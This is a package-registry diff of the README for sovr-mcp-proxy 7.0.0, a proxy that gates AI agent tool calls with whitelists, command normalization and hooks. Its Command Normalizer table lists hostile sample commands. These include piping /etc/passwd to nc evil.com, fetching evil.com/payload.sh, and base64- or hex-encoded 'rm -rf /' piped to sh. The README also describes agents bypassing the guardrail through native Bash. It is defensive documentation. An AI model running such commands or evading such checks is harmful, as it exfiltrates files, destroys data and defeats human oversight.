sovr-mcp-proxy 6.0.1 → 7.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -4,15 +4,31 @@ The **Responsibility Layer** for AI agents. SOVR sits between your AI and its ac
4
4
 
5
5
  > Not a security product. Not a firewall. A **decision accountability layer** that makes AI trust verifiable.
6
6
 
7
- ## What's New in v6.0.0
7
+ [![npm version](https://img.shields.io/npm/v/sovr-mcp-proxy.svg)](https://www.npmjs.com/package/sovr-mcp-proxy)
8
+ [![Weekly Downloads](https://img.shields.io/npm/dw/sovr-mcp-proxy.svg)](https://www.npmjs.com/package/sovr-mcp-proxy)
9
+ [![License: BSL-1.1](https://img.shields.io/badge/License-BSL--1.1-blue.svg)](LICENSE)
8
10
 
9
- - **Forced Login**: API key is validated against the SOVR cloud on startup. Invalid or expired keys are rejected with clear instructions to register/login.
10
- - **Billing Reporter**: Every `gate.allow`, `gate.block`, and `gate.escalate` event is batched and reported to the SOVR metering backend (10s flush interval, 500-event buffer).
11
- - **API Key Mandatory**: `SOVR_API_KEY` is now required. The proxy will not start without a valid key.
12
- - **All previous versions deprecated**: Only v6.0.0 is supported. Run `npm i sovr-mcp-proxy@latest` to upgrade.
13
- - **Version Check Enforcement**: Startup version check against `api.sovr.inc` outdated versions are force-exited with upgrade instructions.
14
- - **Enhanced Audit Pre-Filter**: Improved sanitization of malformed MCP messages before they enter the audit chain.
15
- - **Tier-Aware Tool Filtering**: `tools/list` responses are now filtered based on the authenticated tier, ensuring agents only see tools they have access to.
11
+ ---
12
+
13
+ ## What's New in v7.0.0
14
+
15
+ Community feedback (r/LocalLLaMA, r/ClaudeAI) identified three critical gapsv7 fixes all of them:
16
+
17
+ | Problem | v6 Status | v7 Solution |
18
+ |---------|-----------|-------------|
19
+ | **Bypass Attack** — LLM ignores SOVR, uses native Bash directly | ❌ Unprotected | ✅ `--mode=exclusive` replaces native tools |
20
+ | **Blacklist Evasion** — `find / -delete` bypasses `rm -rf` block | ❌ Blacklist only | ✅ Whitelist engine (DEFAULT DENY) |
21
+ | **Encoding Tricks** — `bash -c`, base64, hex bypass detection | ❌ No normalization | ✅ Command normalizer unwraps all layers |
22
+
23
+ ### New Features
24
+
25
+ - **`--mode=exclusive`** — Tool Replacement mode. SOVR replaces native Bash/shell tools in the MCP `tools/list` response. The LLM has **no way to bypass** the policy engine.
26
+ - **`--whitelist=preset|path`** — Whitelist engine with DEFAULT DENY. Built-in presets: `readonly`, `developer`, `production`.
27
+ - **Command Normalizer** — Unwraps `bash -c`, detects base64/hex encoding, identifies destructive equivalents (`find / -delete` → `rm -rf`).
28
+ - **Claude Code Hooks** — `npx sovr-mcp-proxy hooks install` adds PreToolUse hooks for native interception without MCP proxy.
29
+ - **4 Security Modes** — `monitor` | `advisory` | `enforce` (default) | `exclusive`
30
+
31
+ ---
16
32
 
17
33
  ## Why MCP Proxy?
18
34
 
@@ -24,237 +40,444 @@ The **Responsibility Layer** for AI agents. SOVR sits between your AI and its ac
24
40
 
25
41
  As a Responsibility Layer, SOVR requires a **non-bypassable** architecture. The MCP Proxy intercepts every `tools/call` and `tools/list` message at the protocol level. No tool call reaches execution without passing through the policy engine first.
26
42
 
43
+ ---
44
+
27
45
  ## Quick Start
28
46
 
29
- ### stdio Mode (default)
47
+ ```bash
48
+ # Basic — enforce mode (default), policy engine active
49
+ npx sovr-mcp-proxy --upstream "npx -y @modelcontextprotocol/server-filesystem /tmp"
50
+
51
+ # Recommended — exclusive mode + whitelist
52
+ npx sovr-mcp-proxy \
53
+ --upstream "npx -y @modelcontextprotocol/server-filesystem /tmp" \
54
+ --mode=exclusive \
55
+ --whitelist=developer
56
+
57
+ # Claude Code users — install hooks for native interception
58
+ npx sovr-mcp-proxy hooks install --fail-closed
59
+ ```
60
+
61
+ ### Platform-Specific Setup
62
+
63
+ ```bash
64
+ # Claude Code
65
+ npx sovr-mcp-proxy init --claude-code
66
+
67
+ # Cursor
68
+ npx sovr-mcp-proxy init --cursor
69
+
70
+ # Windsurf
71
+ npx sovr-mcp-proxy init --windsurf
72
+
73
+ # Continue.dev
74
+ npx sovr-mcp-proxy init --continue
75
+
76
+ # OpenAI Agents SDK
77
+ npx sovr-mcp-proxy init --openai-agents
78
+
79
+ # GPT Codex
80
+ npx sovr-mcp-proxy init --codex
81
+ ```
82
+
83
+ ### MCP Client Configuration
30
84
 
31
85
  ```json
32
86
  {
33
87
  "mcpServers": {
34
- "sovr": {
88
+ "filesystem": {
35
89
  "command": "npx",
36
- "args": ["-y", "sovr-mcp-proxy"],
37
- "env": {
38
- "SOVR_API_KEY": "sovr_sk_...",
39
- "SOVR_ENDPOINT": "https://your-sovr-instance.com"
40
- }
90
+ "args": [
91
+ "-y", "sovr-mcp-proxy",
92
+ "--mode=exclusive",
93
+ "--whitelist=developer",
94
+ "--upstream", "npx -y @modelcontextprotocol/server-filesystem /tmp"
95
+ ]
41
96
  }
42
97
  }
43
98
  }
44
99
  ```
45
100
 
46
- ### SSE Mode
101
+ ---
47
102
 
48
- Expose the proxy as an HTTP server for remote MCP clients:
103
+ ## Security Modes (NEW in v7)
49
104
 
50
- ```bash
51
- npx -y sovr-mcp-proxy --sse 3100
52
- ```
105
+ | Mode | Behavior | Use Case |
106
+ |------|----------|----------|
107
+ | `monitor` | Log only, never block | Development / debugging |
108
+ | `advisory` | Warn but allow | Gradual rollout |
109
+ | `enforce` | Block violations (default) | Production |
110
+ | `exclusive` | **Replace native tools** — LLM can only execute through SOVR | Maximum security |
111
+
112
+ ### Exclusive Mode
113
+
114
+ In `--mode=exclusive`, SOVR intercepts the MCP `tools/list` response and replaces dangerous native tools (Bash, shell, exec) with SOVR-wrapped equivalents. The LLM has **no way to bypass** the policy engine because the original tools no longer exist in its tool list.
53
115
 
54
- Endpoints:
55
- - `GET /sse` — Event stream (returns session message URL)
56
- - `POST /message?sessionId=<id>` — Send JSON-RPC messages
57
- - `GET /health` — Health check
116
+ ---
58
117
 
59
- ### Transparent Proxy (Downstream Interception)
118
+ ## Whitelist Engine (NEW in v7)
60
119
 
61
- Route tool calls through SOVR to any downstream MCP server:
120
+ **DEFAULT DENY** only explicitly allowed commands can execute.
121
+
122
+ ### Built-in Presets
62
123
 
63
124
  ```bash
64
- # stdio downstream
65
- npx -y sovr-mcp-proxy --upstream "npx -y @modelcontextprotocol/server-filesystem /tmp"
125
+ # Read-only: only ls, cat, grep, find, git status
126
+ npx sovr-mcp-proxy --upstream "..." --whitelist=readonly
66
127
 
67
- # SSE downstream
68
- SOVR_DOWNSTREAM_URL=http://localhost:4000/sse npx -y sovr-mcp-proxy
128
+ # Developer: read + write + git + npm/pnpm (no rm -rf, no sudo)
129
+ npx sovr-mcp-proxy --upstream "..." --whitelist=developer
69
130
 
70
- # HTTP downstream
71
- SOVR_DOWNSTREAM_URL=http://localhost:4000/mcp npx -y sovr-mcp-proxy --downstream-transport http
131
+ # Production: minimal commands for deployment
132
+ npx sovr-mcp-proxy --upstream "..." --whitelist=production
72
133
  ```
73
134
 
74
- ### Configuration-Driven Proxy
135
+ ### Custom Whitelist
75
136
 
76
- ```bash
77
- SOVR_PROXY_CONFIG=./sovr_proxy_config.json npx -y sovr-mcp-proxy
78
- ```
137
+ Create `sovr-whitelist.json`:
79
138
 
80
139
  ```json
81
140
  {
82
- "downstream": {
83
- "transport": "stdio",
84
- "command": "npx",
85
- "args": ["-y", "@modelcontextprotocol/server-filesystem", "/tmp"]
86
- }
141
+ "name": "my-project",
142
+ "mode": "whitelist",
143
+ "defaultAction": "deny",
144
+ "rules": [
145
+ {
146
+ "pattern": "^(ls|cat|grep|find|head|tail|wc)\\b",
147
+ "action": "allow",
148
+ "description": "Read-only commands"
149
+ },
150
+ {
151
+ "pattern": "^git\\s+(status|log|diff|branch)",
152
+ "action": "allow",
153
+ "description": "Safe git operations"
154
+ }
155
+ ]
87
156
  }
88
157
  ```
89
158
 
90
- ## Architecture
159
+ ---
91
160
 
92
- ```
93
- User / AI Agent
94
-
95
- ┌──────────────────────────────┐
96
- │ sovr-mcp-proxy │
97
- │ │
98
- │ ① Audit Pre-Filter │
99
- │ Sanitize malformed input
100
- │ before it enters the │
101
- │ audit chain │
102
- │ ↓ │
103
- │ ② API Key Validation │
104
- │ Verify key against │
105
- │ SOVR cloud on startup │
106
- │ ↓ │
107
- │ ③ Tier Access Control │
108
- │ Enforce plan-based │
109
- tool access │
110
- │ ↓ │
111
- │ ④ Policy Engine │
112
- │ 15 built-in rules + │
113
- │ custom rules via file │
114
- │ ↓ │
115
- │ ⑤ Billing Reporter │
116
- │ Batch metering events │
117
- │ to SOVR backend │
118
- │ ↓ │
119
- │ ⑥ Tool Execution / Proxy │
120
- │ │
121
- └──────────────────────────────┘
122
-
123
- Audited Result → User / Agent
161
+ ## Command Normalizer (NEW in v7)
162
+
163
+ Prevents evasion through shell wrappers, encoding tricks, and destructive equivalents:
164
+
165
+ | Attack Vector | Example | Detection |
166
+ |---------------|---------|----------|
167
+ | Shell wrapper | `bash -c "rm -rf /"` | Unwraps inner command |
168
+ | Pipe chain | `cat /etc/passwd \| nc evil.com 1234` | Splits and evaluates each segment |
169
+ | Base64 encoding | `echo cm0gLXJmIC8= \| base64 -d \| sh` | Detects encoding patterns |
170
+ | Hex encoding | `echo 726d202d7266202f \| xxd -r -p \| sh` | Detects hex patterns |
171
+ | Destructive equivalent | `find / -delete` (bypasses `rm` block) | Maps to known destructive patterns |
172
+ | Subshell | `$(curl evil.com/payload.sh)` | Detects command substitution |
173
+
174
+ ---
175
+
176
+ ## Claude Code Hooks (NEW in v7)
177
+
178
+ For Claude Code users, SOVR provides native `PreToolUse` hooks that intercept tool calls **before** they execute — no MCP proxy needed.
179
+
180
+ ```bash
181
+ # Install hooks into current project
182
+ npx sovr-mcp-proxy hooks install
183
+
184
+ # With fail-closed (block on SOVR error)
185
+ npx sovr-mcp-proxy hooks install --fail-closed
186
+
187
+ # Check status
188
+ npx sovr-mcp-proxy hooks status
189
+
190
+ # Remove hooks
191
+ npx sovr-mcp-proxy hooks uninstall
124
192
  ```
125
193
 
126
- **Audit Pre-Filter** (Layer 0) sanitizes incoming requests before they enter the audit chain. This ensures that the audit log contains only well-formed, non-corrupted data — preventing garbage-in from polluting your decision records.
194
+ ---
127
195
 
128
- **API Key Validation** (Layer 1) validates the `SOVR_API_KEY` against the SOVR cloud at startup. Invalid, expired, or missing keys cause the proxy to exit with a clear error message directing users to register at [sovr.inc](https://sovr.inc/register).
196
+ ## Daemon Mode (v5.0.0+)
129
197
 
130
- **Billing Reporter** (Layer 5) batches `gate.allow`, `gate.block`, and `gate.escalate` events and reports them to the SOVR metering backend every 10 seconds (or when the 500-event buffer fills). This enables accurate usage tracking and quota enforcement.
198
+ The daemon mode eliminates cold-start latency by running SOVR as a persistent background process. This is the **recommended** way to run SOVR in production.
131
199
 
132
- ## Tool Tiers
200
+ ### Why Daemon Mode?
133
201
 
134
- SOVR tools are organized into five tiers. Each tier includes all tools from the tier below it.
202
+ Without daemon mode, every `gate_check` call spawns a new Node.js process adding 200-500ms overhead per check. With daemon mode, checks complete in **< 5ms** via HTTP.
135
203
 
136
- | Tier | Tools | Capabilities |
137
- |------|-------|-------------|
138
- | **Free** | 3 | gate_check (degraded: allow/deny only), check_command (degraded: no remediation), audit_log (7 days/50 entries). |
139
- | **Personal** ($10/mo) | 28 | Full gate_check + check_sql + check_http + request_approval + submit_receipt + add_rule + health monitoring |
140
- | **Starter** ($300/mo) | 48 | + Kill-switch, budget tracking, compliance, audit replay, trust bundles |
141
- | **Pro** ($2,000/mo) | 98 | + Cognitive analysis, model ops, regression testing, batch operations |
142
- | **Enterprise** ($15,000/mo) | 272 | + Multi-tenant isolation, custom integrations, full platform access |
204
+ | Mode | Latency per check | Success rate | Resource usage |
205
+ |------|-------------------|--------------|----------------|
206
+ | Cold start (legacy) | 200-500ms | ~56% (fail-open) | High (new process each time) |
207
+ | **Daemon mode** | **< 5ms** | **100%** | Low (single persistent process) |
143
208
 
144
- > **Important**: Starting from v6.0.0, all tiers require a valid `SOVR_API_KEY`. Free tier keys can be obtained at [sovr.inc/register](https://sovr.inc/register).
209
+ ### Start the Daemon
145
210
 
146
- For the complete tool reference, see the [SOVR Documentation](https://sovr.ai/docs/tools).
211
+ ```bash
212
+ # Start daemon (background process)
213
+ npx sovr-mcp-proxy daemon start
147
214
 
148
- ## Policy Engine
215
+ # Start with custom port
216
+ npx sovr-mcp-proxy daemon start --port 3100
149
217
 
150
- 15 built-in rules covering:
218
+ # Start in fail-closed mode (blocks on error instead of allowing)
219
+ SOVR_FAIL_MODE=closed npx sovr-mcp-proxy daemon start
151
220
 
152
- - **Irreversible action gating** — payment, delete, and deploy operations require explicit approval
153
- - **Kill-switch enforcement** — emergency halt propagation across all connected agents
154
- - **Budget and quota limits** — prevent runaway costs from autonomous operations
155
- - **Rate limiting** — throttle high-frequency tool calls
156
- - **Time-based restrictions** — enforce operational windows
221
+ # Check daemon status
222
+ npx sovr-mcp-proxy daemon status
157
223
 
158
- Custom rules can be loaded via `SOVR_RULES_FILE` (JSON) or managed at runtime through the rule management tools.
224
+ # Stop daemon
225
+ npx sovr-mcp-proxy daemon stop
226
+ ```
159
227
 
160
- ## TokenManager
228
+ ### Daemon Status Output
161
229
 
162
- Automatic credential refresh for downstream connections:
230
+ ```
231
+ ╔══════════════════════════════════════╗
232
+ ║ SOVR DAEMON STATUS ║
233
+ ╠══════════════════════════════════════╣
234
+ ║ Status: ● RUNNING ║
235
+ ║ PID: 12345 ║
236
+ ║ Port: 3100 ║
237
+ ║ Uptime: 2h 15m ║
238
+ ║ Checks: 1,247 total ║
239
+ ║ Success: 99.8% ║
240
+ ║ Avg Lat: 0.9ms ║
241
+ ╚══════════════════════════════════════╝
242
+ ```
163
243
 
164
- - **Vault strategy** — Fetch tokens from HashiCorp Vault (or compatible)
165
- - **OAuth2 strategy** — Refresh via standard `refresh_token` grant
166
- - Configurable refresh intervals with automatic scheduling
167
- - Graceful shutdown with timer cleanup
244
+ ### Daemon API Endpoints
168
245
 
169
- ## Programmable API
246
+ The daemon exposes an HTTP API for integration:
170
247
 
171
- For advanced integrations, import `McpProxy` directly:
248
+ | Endpoint | Method | Description |
249
+ |----------|--------|-------------|
250
+ | `/health` | GET | Health check — returns `{ status, uptime, version }` |
251
+ | `/gate-check` | POST | Evaluate an action against the policy engine |
252
+ | `/stats` | GET | Full statistics — checks, success rate, latency |
172
253
 
173
- ```typescript
174
- import McpProxy from "sovr-mcp-proxy";
254
+ #### Gate Check Request
175
255
 
176
- const proxy = new McpProxy({ apiKey: "sovr_sk_..." });
177
- proxy.on("decision", (event) => {
178
- console.log(event.action, event.verdict);
179
- });
256
+ ```bash
257
+ curl -X POST http://localhost:3100/gate-check \
258
+ -H "Content-Type: application/json" \
259
+ -d '{
260
+ "action": "execute_command",
261
+ "resource": "rm -rf /important",
262
+ "context": { "user": "agent-1" }
263
+ }'
180
264
  ```
181
265
 
182
- ## Environment Variables
266
+ #### Gate Check Response
183
267
 
184
- | Variable | Description | Default |
185
- |----------|-------------|--------|
186
- | `SOVR_API_KEY` | API key for SOVR access. **Required** starting v6.0.0. Get a key at [sovr.inc](https://sovr.inc/register) | — |
187
- | `SOVR_ENDPOINT` | Custom SOVR endpoint | `https://sovr-ai-mkzgqqeh.manus.space` |
188
- | `SOVR_TRANSPORT` | Transport: `stdio` or `sse` | `stdio` |
189
- | `SOVR_SSE_PORT` | Port for SSE server | `3100` |
190
- | `SOVR_RULES_FILE` | Path to custom rules JSON | — |
191
- | `SOVR_TIER` | Access tier | `free` |
192
- | `SOVR_PROXY_CONFIG` | Path to proxy configuration JSON | — |
193
- | `SOVR_VAULT_URL` | Vault URL for TokenManager | — |
194
- | `SOVR_VAULT_API_KEY` | Vault API key | — |
195
- | `SOVR_DOWNSTREAM_URL` | Downstream MCP server URL | — |
268
+ ```json
269
+ {
270
+ "decision": "BLOCK",
271
+ "reason": "Destructive command blocked by policy",
272
+ "risk_score": 95,
273
+ "matched_rule": "block_destructive_commands",
274
+ "timestamp": "2026-02-25T00:15:30.000Z",
275
+ "latency_ms": 0.8
276
+ }
277
+ ```
196
278
 
197
- ## Migration from v5.x
279
+ ### Fail Mode Configuration
198
280
 
199
- Update your dependency:
281
+ | Mode | Behavior on Error | Use Case |
282
+ |------|-------------------|----------|
283
+ | `open` (default) | Allow action if SOVR check fails | Development, non-critical workflows |
284
+ | `closed` | **Block** action if SOVR check fails | Production, high-security environments |
200
285
 
201
286
  ```bash
202
- npm i sovr-mcp-proxy@latest
287
+ # Set via environment variable
288
+ export SOVR_FAIL_MODE=closed
289
+ npx sovr-mcp-proxy daemon start
290
+
291
+ # Or in .env file
292
+ echo "SOVR_FAIL_MODE=closed" >> .env
203
293
  ```
204
294
 
205
- **Breaking changes in v6.0.0:**
295
+ ### Success Rate Monitoring
206
296
 
207
- 1. `SOVR_API_KEY` is now **mandatory**. The proxy will not start without a valid key.
208
- 2. Startup version check is enforced — outdated local versions will be force-exited.
209
- 3. Billing events are automatically reported to the SOVR metering backend.
297
+ The daemon automatically monitors success rate and emits warnings:
210
298
 
211
- If you are migrating from `sovr-mcp-server`, change one line in your MCP config:
299
+ - **≥ 95%**: Normal operation
300
+ - **< 95%**: Warning logged — `[SOVR ALERT] Success rate dropped below 95%`
301
+ - **< 80%**: Critical alert — consider restarting daemon
212
302
 
213
- ```diff
214
- "mcpServers": {
215
- "sovr": {
216
- - "args": ["sovr-mcp-server"],
217
- + "args": ["-y", "sovr-mcp-proxy"],
218
- }
219
- }
303
+ ---
304
+
305
+ ## Git Hook Integration
306
+
307
+ SOVR integrates with git hooks to verify every commit operation:
308
+
309
+ ```bash
310
+ # Install git hooks
311
+ npx sovr-mcp-proxy init --claude-code # or your platform
312
+
313
+ # The hook (sovr-gate.js) automatically:
314
+ # 1. Checks if daemon is running → uses HTTP (fast path, <5ms)
315
+ # 2. Falls back to MCP cold start if daemon unavailable
316
+ # 3. Logs all decisions to ~/.sovr/audit/
220
317
  ```
221
318
 
222
- All existing environment variables and tool interfaces remain compatible.
319
+ ### Hook Flow
223
320
 
224
- ## Changelog
321
+ ```
322
+ git commit → pre-commit hook → sovr-gate.js
323
+
324
+ ┌───────────┴───────────┐
325
+ │ │
326
+ Daemon running? Daemon down?
327
+ │ │
328
+ HTTP /gate-check MCP cold start
329
+ (< 5ms) (200-500ms)
330
+ │ │
331
+ └───────────┬───────────┘
332
+
333
+ Policy Engine
334
+
335
+ ┌───────────┴───────────┐
336
+ │ │ │
337
+ ALLOW ESCALATE BLOCK
338
+ │ │ │
339
+ proceed human review abort
340
+ ```
225
341
 
226
- ### v6.0.0 (2026-02-26)
342
+ ---
227
343
 
228
- - **BREAKING: API Key Mandatory** — `SOVR_API_KEY` is now required at startup. The proxy exits with a clear error if no valid key is provided.
229
- - **Billing Reporter** — Every `gate.allow`, `gate.block`, and `gate.escalate` event is batched (10s interval / 500-event buffer) and reported to the SOVR metering backend.
230
- - **Version Check Enforcement** — Startup check against `api.sovr.inc/api/sovr/v1/version/check`. Outdated versions trigger `process.exit(1)` with upgrade instructions.
231
- - **Tier-Aware Tool Filtering** — `tools/list` responses filtered by authenticated tier.
232
- - **Enhanced Audit Pre-Filter** — Improved sanitization for malformed MCP messages.
233
- - **All previous versions deprecated** — Only v6.0.0 is supported.
344
+ ## Policy Engine
234
345
 
235
- ### v5.0.0 (2026-02-25)
346
+ The built-in policy engine evaluates actions against configurable rules:
347
+
348
+ ### Default Rules
349
+
350
+ | Rule | Action | Resource Pattern | Decision |
351
+ |------|--------|-----------------|----------|
352
+ | Block destructive commands | `execute_command` | `rm -rf`, `DROP TABLE`, `format` | BLOCK |
353
+ | Block file deletion | `delete_file` | `*` | BLOCK |
354
+ | Escalate force push | `execute_command` | `git push --force` | ESCALATE |
355
+ | Escalate env access | `read_file` | `.env`, `secrets` | ESCALATE |
356
+
357
+ ### Custom Policies
358
+
359
+ ```yaml
360
+ # ~/.sovr/policies/custom.yaml
361
+ rules:
362
+ - name: block_production_deploy
363
+ action: execute_command
364
+ resource_pattern: "deploy.*production"
365
+ decision: BLOCK
366
+ reason: "Production deployments require manual approval"
367
+
368
+ - name: escalate_database_writes
369
+ action: execute_command
370
+ resource_pattern: "INSERT|UPDATE|DELETE"
371
+ decision: ESCALATE
372
+ reason: "Database writes need human review"
373
+ ```
236
374
 
237
- - **Forced Login** — API key validated against SOVR cloud on startup.
238
- - **Billing Reporter** — Initial implementation of event batching and metering.
239
- - **All 33 previous versions deprecated**.
375
+ ---
240
376
 
241
- ### v2.5.5 (2026-02-24)
377
+ ## Audit Trail
242
378
 
243
- - **Fact Cross-Reference Layer v2.0** — Replaced LLM-as-judge hallucination detection with deterministic 4-tier verification (DB queries, Schema validation, Authoritative sources, Human escalation).
244
- - **HonestyLabeler** — Every verification result now carries a transparency label.
245
- - **Upstream Readiness Detection** — `--upstream` mode now properly waits for upstream process.
246
- - **Message Buffering** — Agent messages buffered during upstream startup.
247
- - **7 New Tools** — `sovr_billing_cron`, `sovr_tenant_keys`, `sovr_vector_db`, `sovr_prometheus`, `sovr_evidence_archive`, `sovr_evidence_cli`, `sovr_environment`.
248
- - **Tool Count** — 286 → 293 Enterprise tier tools.
379
+ Every decision is logged to `~/.sovr/audit/`:
249
380
 
250
- ### v2.5.4
381
+ ```
382
+ ~/.sovr/audit/
383
+ ├── 2026-02-25.jsonl ← Daily audit log
384
+ ├── 2026-02-24.jsonl
385
+ └── stats.json ← Aggregate statistics
386
+ ```
387
+
388
+ Each entry contains:
389
+
390
+ ```json
391
+ {
392
+ "timestamp": "2026-02-25T00:15:30.000Z",
393
+ "action": "execute_command",
394
+ "resource": "git push --force origin main",
395
+ "decision": "ESCALATE",
396
+ "risk_score": 90,
397
+ "matched_rule": "escalate_force_push",
398
+ "latency_ms": 0.9,
399
+ "session_id": "abc123",
400
+ "daemon_mode": true
401
+ }
402
+ ```
403
+
404
+ ---
405
+
406
+ ## Supported Platforms
407
+
408
+ | Platform | Init Command | Config Format | Status |
409
+ |----------|-------------|---------------|--------|
410
+ | Claude Code | `--claude-code` | JSON | ✅ Stable |
411
+ | Cursor | `--cursor` | JSON | ✅ Stable |
412
+ | Windsurf | `--windsurf` | JSON | ✅ Stable |
413
+ | Continue.dev | `--continue` | JSON | ✅ Stable |
414
+ | OpenAI Agents SDK | `--openai-agents` | Python | ✅ Stable |
415
+ | GPT Codex | `--codex` | TOML | ✅ Stable |
416
+
417
+ ---
251
418
 
252
- - Multi-transport support (stdio, SSE, Streamable HTTP)
253
- - Configuration-driven proxy mode
254
- - TokenManager with Vault and OAuth2 strategies
419
+ ## Architecture (v7)
420
+
421
+ ```
422
+ ┌─────────────────────────────────────────────┐
423
+ │ AI Agent │
424
+ │ (Claude Code / Cursor / Windsurf / etc.) │
425
+ └──────────────────┬──────────────────────────┘
426
+ │ MCP Protocol (stdio/SSE/HTTP)
427
+
428
+ ┌─────────────────────────────────────────────┐
429
+ │ SOVR MCP Proxy v7 │
430
+ │ ┌─────────────────────────────────────┐ │
431
+ │ │ 1. Command Normalizer │ │
432
+ │ │ Unwrap bash -c, detect encoding │ │
433
+ │ ├─────────────────────────────────────┤ │
434
+ │ │ 2. Whitelist Engine │ │
435
+ │ │ DEFAULT DENY, preset/custom │ │
436
+ │ ├─────────────────────────────────────┤ │
437
+ │ │ 3. Policy Engine │ │
438
+ │ │ ALLOW / BLOCK / ESCALATE │ │
439
+ │ ├─────────────────────────────────────┤ │
440
+ │ │ 4. Tool Replacement (exclusive) │ │
441
+ │ │ Replace native tools in list │ │
442
+ │ ├─────────────────────────────────────┤ │
443
+ │ │ 5. Audit Trail │ │
444
+ │ │ Every decision → JSONL + stats │ │
445
+ │ └─────────────────────────────────────┘ │
446
+ │ │
447
+ │ Mode: exclusive | enforce | advisory | │
448
+ │ monitor │
449
+ └──────────────────┬──────────────────────────┘
450
+ │ MCP Protocol (forwarded)
451
+
452
+ ┌─────────────────────────────────────────────┐
453
+ │ Upstream MCP Server │
454
+ │ (filesystem / database / API / etc.) │
455
+ └─────────────────────────────────────────────┘
456
+ ```
457
+
458
+ ---
459
+
460
+ ## Environment Variables
461
+
462
+ | Variable | Default | Description |
463
+ |----------|---------|-------------|
464
+ | `SOVR_FAIL_MODE` | `open` | `open` = allow on error, `closed` = block on error |
465
+ | `SOVR_DAEMON_PORT` | `3100` | HTTP port for daemon mode |
466
+ | `SOVR_AUDIT_DIR` | `~/.sovr/audit` | Directory for audit logs |
467
+ | `SOVR_LOG_LEVEL` | `info` | Log verbosity: `debug`, `info`, `warn`, `error` |
468
+ | `SOVR_API_KEY` | — | **Required.** API key for authentication and billing. Get one at [sovr.inc/dashboard](https://sovr.inc/dashboard/api-keys) |
469
+
470
+ ---
255
471
 
256
472
  ## License
257
473
 
258
- BSL-1.1 (Business Source License 1.1) — SOVR AI
474
+ [BSL-1.1](LICENSE) Business Source License 1.1
475
+
476
+ ---
477
+
478
+ ## Links
259
479
 
260
- The Licensed Work will be made available under Apache License 2.0 four years from each version's publication date. See [LICENSE](./LICENSE) for full terms.
480
+ - **Homepage**: [sovr.inc](https://sovr.inc)
481
+ - **Repository**: [github.com/xie38388/sovr](https://github.com/xie38388/sovr)
482
+ - **npm**: [npmjs.com/package/sovr-mcp-proxy](https://www.npmjs.com/package/sovr-mcp-proxy)
483
+ - **Documentation**: [docs/SOVR_MCP_PROXY_INTEGRATION_GUIDE.md](https://github.com/xie38388/sovr/blob/main/docs/SOVR_MCP_PROXY_INTEGRATION_GUIDE.md)